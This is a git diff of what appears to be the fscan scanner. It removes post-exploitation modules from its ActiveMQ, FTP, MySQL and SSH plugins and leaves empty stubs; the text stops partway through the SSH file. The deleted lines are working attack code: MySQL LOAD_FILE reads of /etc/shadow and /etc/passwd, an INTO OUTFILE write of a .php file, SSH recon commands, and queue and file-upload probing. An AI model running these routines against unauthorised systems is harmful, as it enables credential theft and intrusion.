diff --git a/Plugins/services/activemq/exploiter.go b/Plugins/services/activemq/exploiter.go index 06c55a1..7747a31 100644 --- a/Plugins/services/activemq/exploiter.go +++ b/Plugins/services/activemq/exploiter.go @@ -2,32 +2,23 @@ package activemq import ( "context" - "fmt" - "net" - "strings" - "time" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/plugins/base" ) -// ActiveMQExploiter ActiveMQ利用模块 -// 实现ActiveMQ相关的安全测试和利用功能 +// ActiveMQExploiter ActiveMQ利用器实现 - 最小化版本,不提供利用功能 type ActiveMQExploiter struct { *base.BaseExploiter - connector *ActiveMQConnector - timeout time.Duration } -// NewActiveMQExploiter 创建新的ActiveMQ利用器 +// NewActiveMQExploiter 创建ActiveMQ利用器 func NewActiveMQExploiter() *ActiveMQExploiter { exploiter := &ActiveMQExploiter{ BaseExploiter: base.NewBaseExploiter("activemq"), - connector: NewActiveMQConnector(), - timeout: time.Duration(common.Timeout) * time.Second, } - // 设置利用方法 + // ActiveMQ插件不提供利用功能 exploiter.setupExploitMethods() return exploiter @@ -39,358 +30,8 @@ func (e *ActiveMQExploiter) setupExploitMethods() { // 没有实际的GetShell或文件写入等攻击价值 } -// exploitInformationGatheringNew 信息收集利用 (新架构) -func (e *ActiveMQExploiter) exploitInformationGatheringNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - result, err := e.exploitInformationGathering(ctx, info, creds) - if err != nil { - return nil, err - } - return result, nil -} - -// exploitMessageEnumerationNew 消息枚举利用 (新架构) -func (e *ActiveMQExploiter) exploitMessageEnumerationNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - result, err := e.exploitMessageEnumeration(ctx, info, creds) - if err != nil { - return nil, err - } - return result, nil -} - -// exploitQueueManagementNew 队列管理利用 (新架构) -func (e *ActiveMQExploiter) exploitQueueManagementNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - result, err := e.exploitQueueManagement(ctx, info, creds) - if err != nil { - return nil, err - } - return result, nil -} - -// exploitConfigurationDumpNew 配置转储利用 (新架构) -func (e *ActiveMQExploiter) exploitConfigurationDumpNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - result, err := e.exploitConfigurationDump(ctx, info, creds) - if err != nil { - return nil, err - } - return result, nil -} - -// exploitInformationGathering 信息收集利用 -func (e *ActiveMQExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - target := fmt.Sprintf("%s:%s", info.Host, info.Ports) - - // 连接到ActiveMQ服务 - conn, err := e.createConnection(ctx, target, creds) - if err != nil { - return nil, fmt.Errorf("连接失败: %v", err) - } - defer conn.Close() - - // 收集基本信息 - info_data, err := e.gatherBasicInfo(conn, creds) - if err != nil { - return nil, fmt.Errorf("信息收集失败: %v", err) - } - - return &base.ExploitResult{ - Success: true, - Type: base.ExploitDataExtraction, - Method: "信息收集", - Output: info_data, - Data: map[string]interface{}{ - "service": "ActiveMQ", - "info_type": "system_information", - "data": info_data, - }, - }, nil -} - -// exploitMessageEnumeration 消息枚举利用 -func (e *ActiveMQExploiter) exploitMessageEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - target := fmt.Sprintf("%s:%s", info.Host, info.Ports) - - conn, err := e.createConnection(ctx, target, creds) - if err != nil { - return nil, fmt.Errorf("连接失败: %v", err) - } - defer conn.Close() - - // 尝试枚举队列和主题 - queues, err := e.enumerateQueues(conn) - if err != nil { - return nil, fmt.Errorf("队列枚举失败: %v", err) - } - - if len(queues) > 0 { - return &base.ExploitResult{ - Success: true, - Type: base.ExploitDataExtraction, - Method: "消息枚举", - Output: fmt.Sprintf("发现队列: %s", strings.Join(queues, ", ")), - Data: map[string]interface{}{ - "service": "ActiveMQ", - "queues": queues, - "count": len(queues), - }, - }, nil - } - - return nil, fmt.Errorf("未发现可访问的队列") -} - -// exploitQueueManagement 队列管理利用 -func (e *ActiveMQExploiter) exploitQueueManagement(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - target := fmt.Sprintf("%s:%s", info.Host, info.Ports) - - conn, err := e.createConnection(ctx, target, creds) - if err != nil { - return nil, fmt.Errorf("连接失败: %v", err) - } - defer conn.Close() - - // 尝试创建测试队列 - testQueue := "test.fscan.queue" - success := e.testQueueCreation(conn, testQueue) - if success { - return &base.ExploitResult{ - Success: true, - Type: base.ExploitPrivilegeEsc, - Method: "队列管理", - Output: fmt.Sprintf("成功创建测试队列: %s", testQueue), - Data: map[string]interface{}{ - "service": "ActiveMQ", - "privilege": "queue_management", - "test_queue": testQueue, - }, - }, nil - } - - return nil, fmt.Errorf("队列管理测试失败") -} - -// exploitConfigurationDump 配置转储利用 -func (e *ActiveMQExploiter) exploitConfigurationDump(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - - // 这里可以实现配置信息获取逻辑 - // 由于STOMP协议限制,主要通过管理API获取 - configInfo := "无法通过STOMP协议获取详细配置信息,建议使用Web管理界面" - - return &base.ExploitResult{ - Success: true, - Type: base.ExploitDataExtraction, - Method: "配置转储", - Output: configInfo, - Data: map[string]interface{}{ - "service": "ActiveMQ", - "note": "需要Web管理界面访问权限", - }, - }, nil -} - -// createConnection 创建ActiveMQ连接 -func (e *ActiveMQExploiter) createConnection(ctx context.Context, target string, creds *base.Credential) (net.Conn, error) { - conn, err := common.WrapperTcpWithTimeout("tcp", target, e.timeout) - if err != nil { - return nil, err - } - - // 进行STOMP认证 - authErr := e.connector.authenticateSTOMP(ctx, conn, creds.Username, creds.Password) - if authErr != nil { - conn.Close() - return nil, fmt.Errorf("认证失败: %v", authErr) - } - - return conn, nil -} - -// gatherBasicInfo 收集基本信息 -func (e *ActiveMQExploiter) gatherBasicInfo(conn net.Conn, creds *base.Credential) (string, error) { - var info []string - - // 添加认证信息 - info = append(info, fmt.Sprintf("认证用户: %s", creds.Username)) - info = append(info, fmt.Sprintf("协议: STOMP")) - - // 尝试获取服务器信息 - serverInfo := e.getServerInfo(conn) - if serverInfo != "" { - info = append(info, fmt.Sprintf("服务器: %s", serverInfo)) - } - - // 尝试枚举队列 - queues, err := e.enumerateQueues(conn) - if err == nil && len(queues) > 0 { - info = append(info, fmt.Sprintf("发现队列: %s", strings.Join(queues, ", "))) - } - - // 测试队列创建权限 - if e.testQueueCreation(conn, "fscan-test-queue") { - info = append(info, "具备队列创建权限") - } - - // 用户权限信息 - permissions := e.checkUserPermissions(creds.Username) - if permissions != "" { - info = append(info, fmt.Sprintf("用户权限: %s", permissions)) - } - - return strings.Join(info, " | "), nil -} - -// getServerInfo 获取服务器信息 -func (e *ActiveMQExploiter) getServerInfo(conn net.Conn) string { - // 发送INFO帧尝试获取服务器信息 - infoFrame := "INFO\n\n\x00" - - conn.SetWriteDeadline(time.Now().Add(e.timeout)) - if _, err := conn.Write([]byte(infoFrame)); err != nil { - return "" - } - - conn.SetReadDeadline(time.Now().Add(time.Second * 2)) // 短超时 - response := make([]byte, 1024) - n, err := conn.Read(response) - if err != nil { - return "" - } - - responseStr := string(response[:n]) - if strings.Contains(responseStr, "server:") { - lines := strings.Split(responseStr, "\n") - for _, line := range lines { - if strings.HasPrefix(line, "server:") { - return strings.TrimPrefix(line, "server:") - } - } - } - - return "" -} - -// enumerateQueues 枚举队列 -func (e *ActiveMQExploiter) enumerateQueues(conn net.Conn) ([]string, error) { - // 常见的ActiveMQ队列名称 - commonQueues := []string{ - "ActiveMQ.Advisory.>", - "ActiveMQ.Statistics.>", - "test", - "queue.test", - "default", - "example", - } - - var discoveredQueues []string - - for _, queueName := range commonQueues { - if e.testQueueAccess(conn, queueName) { - discoveredQueues = append(discoveredQueues, queueName) - } - } - - return discoveredQueues, nil -} - -// testQueueAccess 测试队列访问 -func (e *ActiveMQExploiter) testQueueAccess(conn net.Conn, queueName string) bool { - // 发送SUBSCRIBE帧尝试订阅队列 - subscribeFrame := fmt.Sprintf("SUBSCRIBE\ndestination:/queue/%s\nack:auto\nid:test-sub-%s\n\n\x00", - queueName, queueName) - - conn.SetWriteDeadline(time.Now().Add(e.timeout)) - if _, err := conn.Write([]byte(subscribeFrame)); err != nil { - return false - } - - // 读取响应,检查是否订阅成功 - conn.SetReadDeadline(time.Now().Add(time.Second)) - response := make([]byte, 512) - _, err := conn.Read(response) - - // 如果没有ERROR响应,认为订阅可能成功 - return err == nil && !strings.Contains(string(response), "ERROR") -} - -// testQueueCreation 测试队列创建 -func (e *ActiveMQExploiter) testQueueCreation(conn net.Conn, queueName string) bool { - // 发送SEND帧到新队列(这会隐式创建队列) - sendFrame := fmt.Sprintf("SEND\ndestination:/queue/%s\n\nTest message from fscan\x00", queueName) - - conn.SetWriteDeadline(time.Now().Add(e.timeout)) - if _, err := conn.Write([]byte(sendFrame)); err != nil { - return false - } - - // 读取响应检查是否成功 - conn.SetReadDeadline(time.Now().Add(time.Second)) - response := make([]byte, 512) - _, err := conn.Read(response) - - return err == nil && !strings.Contains(string(response), "ERROR") -} - -// GetExploitMethods 获取支持的利用方法 -func (e *ActiveMQExploiter) GetExploitMethods() []base.ExploitMethod { - return []base.ExploitMethod{ - { - Type: base.ExploitDataExtraction, - Name: "信息收集", - Description: "收集ActiveMQ服务基本信息", - Priority: 8, - Handler: nil, - }, - { - Type: base.ExploitDataExtraction, - Name: "消息枚举", - Description: "枚举可访问的队列和主题", - Priority: 7, - Handler: nil, - }, - { - Type: base.ExploitPrivilegeEsc, - Name: "队列管理", - Description: "测试队列创建和管理权限", - Priority: 6, - Handler: nil, - }, - { - Type: base.ExploitDataExtraction, - Name: "配置转储", - Description: "获取配置信息提示", - Priority: 5, - Handler: nil, - }, - } -} - -// checkUserPermissions 检查用户权限类型 -func (e *ActiveMQExploiter) checkUserPermissions(username string) string { - // 根据用户名推断权限级别 - switch strings.ToLower(username) { - case "admin", "root", "system": - return "管理员权限" - case "publisher", "producer": - return "发布者权限" - case "consumer", "subscriber": - return "消费者权限" - case "guest": - return "访客权限" - default: - return "用户权限" - } -} - -// IsExploitSupported 检查是否支持指定的利用类型 -func (e *ActiveMQExploiter) IsExploitSupported(exploitType base.ExploitType) bool { - supportedTypes := []base.ExploitType{ - base.ExploitDataExtraction, - base.ExploitPrivilegeEsc, - } - - for _, t := range supportedTypes { - if t == exploitType { - return true - } - } - return false +// Exploit 利用接口实现 - 空实现 +func (e *ActiveMQExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { + // ActiveMQ插件不提供利用功能 + return nil, nil } \ No newline at end of file diff --git a/Plugins/services/ftp/exploiter.go b/Plugins/services/ftp/exploiter.go index 7363172..7bd3699 100644 --- a/Plugins/services/ftp/exploiter.go +++ b/Plugins/services/ftp/exploiter.go @@ -2,30 +2,23 @@ package ftp import ( "context" - "fmt" - "path/filepath" - "strings" - "time" - ftplib "github.com/jlaffaye/ftp" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/plugins/base" ) -// FTPExploiter FTP利用器 +// FTPExploiter FTP利用器实现 - 最小化版本,不提供利用功能 type FTPExploiter struct { *base.BaseExploiter - connector *FTPConnector } // NewFTPExploiter 创建FTP利用器 func NewFTPExploiter() *FTPExploiter { exploiter := &FTPExploiter{ BaseExploiter: base.NewBaseExploiter("ftp"), - connector: NewFTPConnector(), } - // 添加利用方法 + // FTP插件不提供利用功能 exploiter.setupExploitMethods() return exploiter @@ -36,264 +29,8 @@ func (e *FTPExploiter) setupExploitMethods() { // FTP插件不提供利用功能,仅进行弱密码扫描 } -// exploitDirectoryEnumeration 目录枚举 -func (e *FTPExploiter) exploitDirectoryEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - return e.executeWithConnection(ctx, info, creds, "directory_enumeration", e.directoryEnumeration) -} - -// exploitFileDownloadTest 文件下载测试 -func (e *FTPExploiter) exploitFileDownloadTest(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - return e.executeWithConnection(ctx, info, creds, "file_download_test", e.fileDownloadTest) -} - -// exploitFileUploadTest 文件上传测试 -func (e *FTPExploiter) exploitFileUploadTest(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - return e.executeWithConnection(ctx, info, creds, "file_upload_test", e.fileUploadTest) -} - -// executeWithConnection 使用FTP连接执行利用方法 -func (e *FTPExploiter) executeWithConnection(ctx context.Context, info *common.HostInfo, creds *base.Credential, methodName string, method func(context.Context, *ftplib.ServerConn, string) ([]string, error)) (*base.ExploitResult, error) { - target := fmt.Sprintf("%s:%s", info.Host, info.Ports) - - // 建立FTP连接 - ftpConn, err := ftplib.DialTimeout(target, time.Duration(common.Timeout)*time.Second) - if err != nil { - return nil, fmt.Errorf("连接失败: %v", err) - } - defer ftpConn.Quit() - - // 登录认证 - err = ftpConn.Login(creds.Username, creds.Password) - if err != nil { - return nil, fmt.Errorf("认证失败: %v", err) - } - - // 执行方法 - output, err := method(ctx, ftpConn, target) - if err != nil { - return nil, fmt.Errorf("执行失败: %v", err) - } - - return &base.ExploitResult{ - Success: true, - Type: base.ExploitDataExtraction, - Method: methodName, - Output: strings.Join(output, "\n"), - }, nil -} - -// directoryEnumeration 目录枚举 -func (e *FTPExploiter) directoryEnumeration(ctx context.Context, ftpConn *ftplib.ServerConn, target string) ([]string, error) { - var output []string - - // 获取当前工作目录 - currentDir, err := ftpConn.CurrentDir() - if err != nil { - currentDir = "/" - } - output = append(output, fmt.Sprintf("当前工作目录: %s", currentDir)) - - // 列举根目录内容 - entries, err := ftpConn.List("") - if err != nil { - return nil, fmt.Errorf("列举目录失败: %v", err) - } - - if len(entries) == 0 { - output = append(output, "目录为空") - return output, nil - } - - // 显示目录内容(限制显示数量) - maxDisplay := 10 - if len(entries) > maxDisplay { - output = append(output, fmt.Sprintf("发现 %d 个条目,显示前 %d 个:", len(entries), maxDisplay)) - } else { - output = append(output, fmt.Sprintf("发现 %d 个条目:", len(entries))) - } - - dirCount := 0 - fileCount := 0 - for i, entry := range entries { - if i >= maxDisplay { - break - } - - // 格式化文件/目录信息 - entryType := "文件" - if entry.Type == ftplib.EntryTypeFolder { - entryType = "目录" - dirCount++ - } else { - fileCount++ - } - - // 格式化文件大小 - sizeInfo := "" - if entry.Type != ftplib.EntryTypeFolder { - if entry.Size > 1024*1024 { - sizeInfo = fmt.Sprintf("%.2fMB", float64(entry.Size)/(1024*1024)) - } else if entry.Size > 1024 { - sizeInfo = fmt.Sprintf("%.2fKB", float64(entry.Size)/1024) - } else { - sizeInfo = fmt.Sprintf("%dB", entry.Size) - } - } - - // 截断过长的文件名 - name := entry.Name - if len(name) > 50 { - name = name[:50] + "..." - } - - if sizeInfo != "" { - output = append(output, fmt.Sprintf(" [%s] %s (%s)", entryType, name, sizeInfo)) - } else { - output = append(output, fmt.Sprintf(" [%s] %s", entryType, name)) - } - } - - // 添加统计信息 - if len(entries) > maxDisplay { - output = append(output, fmt.Sprintf("... 还有 %d 个条目未显示", len(entries)-maxDisplay)) - } - output = append(output, fmt.Sprintf("统计: %d个目录, %d个文件", dirCount, fileCount)) - - return output, nil -} - -// fileDownloadTest 文件下载测试 -func (e *FTPExploiter) fileDownloadTest(ctx context.Context, ftpConn *ftplib.ServerConn, target string) ([]string, error) { - var output []string - - // 获取目录列表 - entries, err := ftpConn.List("") - if err != nil { - return nil, fmt.Errorf("获取文件列表失败: %v", err) - } - - // 寻找可下载的小文件进行测试 - var testFile *ftplib.Entry - for _, entry := range entries { - if entry.Type == ftplib.EntryTypeFile && entry.Size < 10240 { // 小于10KB的文件 - // 过滤一些常见的安全文件 - name := strings.ToLower(entry.Name) - if !strings.Contains(name, "passwd") && - !strings.Contains(name, "shadow") && - !strings.Contains(name, "key") && - !strings.Contains(name, "config") { - testFile = entry - break - } - } - } - - if testFile == nil { - output = append(output, "未找到合适的测试文件(寻找小于10KB的普通文件)") - return output, nil - } - - // 尝试下载测试文件 - response, err := ftpConn.Retr(testFile.Name) - if err != nil { - return nil, fmt.Errorf("下载文件失败: %v", err) - } - defer response.Close() - - // 读取前1024字节作为测试 - buffer := make([]byte, 1024) - n, _ := response.Read(buffer) - - output = append(output, fmt.Sprintf("成功下载测试文件: %s", testFile.Name)) - output = append(output, fmt.Sprintf("文件大小: %d 字节", testFile.Size)) - if n > 0 { - // 检查是否为文本内容 - if isPrintableText(buffer[:n]) { - preview := string(buffer[:n]) - if len(preview) > 200 { - preview = preview[:200] + "..." - } - output = append(output, fmt.Sprintf("文件内容预览: %s", preview)) - } else { - output = append(output, "文件为二进制内容") - } - } - - return output, nil -} - -// fileUploadTest 文件上传测试 -func (e *FTPExploiter) fileUploadTest(ctx context.Context, ftpConn *ftplib.ServerConn, target string) ([]string, error) { - var output []string - - // 测试文件内容 - testFileName := "fscan_test.txt" - testContent := "This is a test file created by fscan for FTP upload testing." - - // 尝试上传测试文件 - err := ftpConn.Stor(testFileName, strings.NewReader(testContent)) - if err != nil { - // 尝试上传到常见的上传目录 - uploadDirs := []string{"upload", "uploads", "tmp", "temp", "public"} - uploaded := false - - for _, dir := range uploadDirs { - testPath := filepath.Join(dir, testFileName) - err = ftpConn.Stor(testPath, strings.NewReader(testContent)) - if err == nil { - output = append(output, fmt.Sprintf("文件上传成功: %s", testPath)) - - // 尝试删除测试文件 - if deleteErr := ftpConn.Delete(testPath); deleteErr == nil { - output = append(output, "测试文件已清理") - } - uploaded = true - break - } - } - - if !uploaded { - return nil, fmt.Errorf("文件上传失败: %v", err) - } - } else { - output = append(output, fmt.Sprintf("文件上传成功: %s", testFileName)) - - // 验证文件是否存在 - entries, err := ftpConn.List("") - if err == nil { - for _, entry := range entries { - if entry.Name == testFileName { - output = append(output, fmt.Sprintf("验证文件存在,大小: %d 字节", entry.Size)) - break - } - } - } - - // 尝试删除测试文件 - if deleteErr := ftpConn.Delete(testFileName); deleteErr == nil { - output = append(output, "测试文件已清理") - } else { - output = append(output, "警告: 无法删除测试文件,请手动清理") - } - } - - output = append(output, "FTP上传功能可用") - return output, nil -} - -// isPrintableText 检查字节数组是否为可打印文本 -func isPrintableText(data []byte) bool { - if len(data) == 0 { - return false - } - - printableCount := 0 - for _, b := range data { - if (b >= 32 && b <= 126) || b == '\n' || b == '\r' || b == '\t' { - printableCount++ - } - } - - // 如果80%以上是可打印字符,认为是文本 - return float64(printableCount)/float64(len(data)) > 0.8 +// Exploit 利用接口实现 - 空实现 +func (e *FTPExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { + // FTP插件不提供利用功能 + return nil, nil } \ No newline at end of file diff --git a/Plugins/services/mysql/exploiter.go b/Plugins/services/mysql/exploiter.go index 3e36ef4..6ec3866 100644 --- a/Plugins/services/mysql/exploiter.go +++ b/Plugins/services/mysql/exploiter.go @@ -2,29 +2,23 @@ package mysql import ( "context" - "database/sql" - "fmt" + "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins/base" - "strconv" - "strings" ) -// MySQLExploiter MySQL利用器实现 +// MySQLExploiter MySQL利用器实现 - 最小化版本,不提供利用功能 type MySQLExploiter struct { *base.BaseExploiter - connector *MySQLConnector } // NewMySQLExploiter 创建MySQL利用器 func NewMySQLExploiter() *MySQLExploiter { exploiter := &MySQLExploiter{ BaseExploiter: base.NewBaseExploiter("mysql"), - connector: NewMySQLConnector(), } - // 添加利用方法 + // MySQL插件不提供利用功能 exploiter.setupExploitMethods() return exploiter @@ -35,298 +29,8 @@ func (e *MySQLExploiter) setupExploitMethods() { // MySQL插件不提供利用功能,仅进行弱密码扫描 } -// exploitInformationGathering 信息收集利用 -func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - db, err := e.connectWithCredentials(ctx, info, creds) - if err != nil { - return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil - } - defer db.Close() - - result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering") - - // 获取版本信息 - version, err := e.getVersion(ctx, db) - if err == nil { - base.AddOutputToResult(result, i18n.GetText("mysql_version_info", version)) - result.Extra["version"] = version - } - - // 获取当前用户 - user, err := e.getCurrentUser(ctx, db) - if err == nil { - base.AddOutputToResult(result, i18n.GetText("mysql_current_user", user)) - result.Extra["current_user"] = user - } - - // 获取当前数据库 - database, err := e.getCurrentDatabase(ctx, db) - if err == nil { - base.AddOutputToResult(result, i18n.GetText("mysql_current_database", database)) - result.Extra["current_database"] = database - } - - return result, nil -} - -// exploitDatabaseEnumeration 数据库枚举利用 -func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - db, err := e.connectWithCredentials(ctx, info, creds) - if err != nil { - return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil - } - defer db.Close() - - result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration") - - // 枚举数据库 - databases, err := e.enumerateDatabases(ctx, db) - if err == nil && len(databases) > 0 { - base.AddOutputToResult(result, i18n.GetText("mysql_databases_found", strings.Join(databases, ", "))) - result.Extra["databases"] = databases - } - - // 枚举表(限制在非系统数据库中) - tables, err := e.enumerateTables(ctx, db) - if err == nil && len(tables) > 0 { - base.AddOutputToResult(result, i18n.GetText("mysql_tables_found", tables)) - result.Extra["tables"] = tables - } - - return result, nil -} - -// exploitPrivilegeCheck 权限检查利用 -func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - db, err := e.connectWithCredentials(ctx, info, creds) - if err != nil { - return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil - } - defer db.Close() - - result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check") - - // 检查用户权限 - privileges, err := e.getUserPrivileges(ctx, db) - if err == nil && len(privileges) > 0 { - base.AddOutputToResult(result, i18n.GetText("mysql_user_privileges", strings.Join(privileges, ", "))) - result.Extra["privileges"] = privileges - } - - // 检查是否有FILE权限 - hasFilePriv := e.hasFilePrivilege(privileges) - result.Extra["has_file_privilege"] = hasFilePriv - if hasFilePriv { - base.AddOutputToResult(result, i18n.GetText("mysql_file_privilege_detected")) - } - - return result, nil -} - -// exploitFileRead 文件读取利用 -func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - db, err := e.connectWithCredentials(ctx, info, creds) - if err != nil { - return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil - } - defer db.Close() - - // 尝试读取常见的敏感文件 - filesToRead := []string{ - "/etc/passwd", - "/etc/shadow", - "/etc/hosts", - "C:\\Windows\\System32\\drivers\\etc\\hosts", - } - - result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read") - hasRead := false - - for _, file := range filesToRead { - content, err := e.readFile(ctx, db, file) - if err == nil && content != "" { - base.AddOutputToResult(result, i18n.GetText("mysql_file_read_success", file, content)) - hasRead = true - } - } - - if !hasRead { - return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", - fmt.Errorf(i18n.GetText("mysql_no_file_privilege"))), nil - } - - return result, nil -} - -// exploitFileWrite 文件写入利用 -func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - db, err := e.connectWithCredentials(ctx, info, creds) - if err != nil { - return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil - } - defer db.Close() - - result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write") - - // 尝试写入测试文件 - testContent := "" - testFile := "/tmp/mysql_test.php" - - err = e.writeFile(ctx, db, testFile, testContent) - if err != nil { - return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil - } - - base.AddOutputToResult(result, i18n.GetText("mysql_file_write_success", testFile)) - base.AddFileToResult(result, testFile) - - return result, nil -} - -// ============================================================================= -// MySQL操作辅助函数 -// ============================================================================= - -// connectWithCredentials 使用凭据连接数据库 -func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) { - // 解析端口号 - port, err := strconv.Atoi(info.Ports) - if err != nil { - return nil, fmt.Errorf("无效的端口号: %s", info.Ports) - } - connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password) - - db, err := sql.Open("mysql", connStr) - if err != nil { - return nil, err - } - - // 测试连接 - if err = db.PingContext(ctx); err != nil { - db.Close() - return nil, err - } - - return db, nil -} - -// buildConnectionString 构建连接字符串 -func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string { - if common.Socks5Proxy != "" { - return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s", - username, password, host, port) - } - return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s", - username, password, host, port) -} - -// getVersion 获取MySQL版本 -func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) { - var version string - err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version) - return version, err -} - -// getCurrentUser 获取当前用户 -func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) { - var user string - err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user) - return user, err -} - -// getCurrentDatabase 获取当前数据库 -func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) { - var database string - err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database) - return database, err -} - -// enumerateDatabases 枚举数据库 -func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) { - rows, err := db.QueryContext(ctx, "SHOW DATABASES") - if err != nil { - return nil, err - } - defer rows.Close() - - var databases []string - for rows.Next() { - var dbName string - if err := rows.Scan(&dbName); err != nil { - continue - } - databases = append(databases, dbName) - } - - return databases, nil -} - -// enumerateTables 枚举表 -func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) { - rows, err := db.QueryContext(ctx, ` - SELECT TABLE_SCHEMA, TABLE_NAME - FROM information_schema.TABLES - WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys') - LIMIT 50 - `) - if err != nil { - return nil, err - } - defer rows.Close() - - tables := make(map[string][]string) - for rows.Next() { - var schema, table string - if err := rows.Scan(&schema, &table); err != nil { - continue - } - tables[schema] = append(tables[schema], table) - } - - return tables, nil -} - -// getUserPrivileges 获取用户权限 -func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) { - rows, err := db.QueryContext(ctx, "SHOW GRANTS") - if err != nil { - return nil, err - } - defer rows.Close() - - var privileges []string - for rows.Next() { - var grant string - if err := rows.Scan(&grant); err != nil { - continue - } - privileges = append(privileges, grant) - } - - return privileges, nil -} - -// hasFilePrivilege 检查是否有FILE权限 -func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool { - for _, priv := range privileges { - if strings.Contains(strings.ToUpper(priv), "FILE") { - return true - } - } - return false -} - -// readFile 读取文件 -func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) { - var content string - query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename) - err := db.QueryRowContext(ctx, query).Scan(&content) - return content, err -} - -// writeFile 写入文件 -func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error { - query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename) - _, err := db.ExecContext(ctx, query) - return err +// Exploit 利用接口实现 - 空实现 +func (e *MySQLExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { + // MySQL插件不提供利用功能 + return nil, nil } \ No newline at end of file diff --git a/Plugins/services/ssh/exploiter.go b/Plugins/services/ssh/exploiter.go index 095608c..e0c9cdc 100644 --- a/Plugins/services/ssh/exploiter.go +++ b/Plugins/services/ssh/exploiter.go @@ -2,28 +2,23 @@ package ssh import ( "context" - "fmt" + "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins/base" - "golang.org/x/crypto/ssh" - "strings" ) -// SSHExploiter SSH利用器实现 +// SSHExploiter SSH利用器实现 - 最小化版本,不提供利用功能 type SSHExploiter struct { *base.BaseExploiter - connector *SSHConnector } // NewSSHExploiter 创建SSH利用器 func NewSSHExploiter() *SSHExploiter { exploiter := &SSHExploiter{ BaseExploiter: base.NewBaseExploiter("ssh"), - connector: NewSSHConnector(), } - // 添加利用方法 + // SSH插件不提供利用功能 exploiter.setupExploitMethods() return exploiter @@ -35,160 +30,8 @@ func (e *SSHExploiter) setupExploitMethods() { // SSH的价值在于弱密码发现,获取SSH访问权限本身就是目标 } -// exploitSystemInfo 系统信息收集利用 -func (e *SSHExploiter) exploitSystemInfo(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - client, err := e.connectSSH(ctx, info, creds) - if err != nil { - return base.CreateFailedExploitResult(base.ExploitDataExtraction, "system_info", err), nil - } - defer client.Close() - - result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "system_info") - - // 收集系统信息的命令 - commands := map[string]string{ - "hostname": "hostname", - "os": "cat /etc/os-release 2>/dev/null || uname -a", - "whoami": "whoami", - "id": "id", - "uptime": "uptime", - "pwd": "pwd", - } - - for name, cmd := range commands { - output, err := 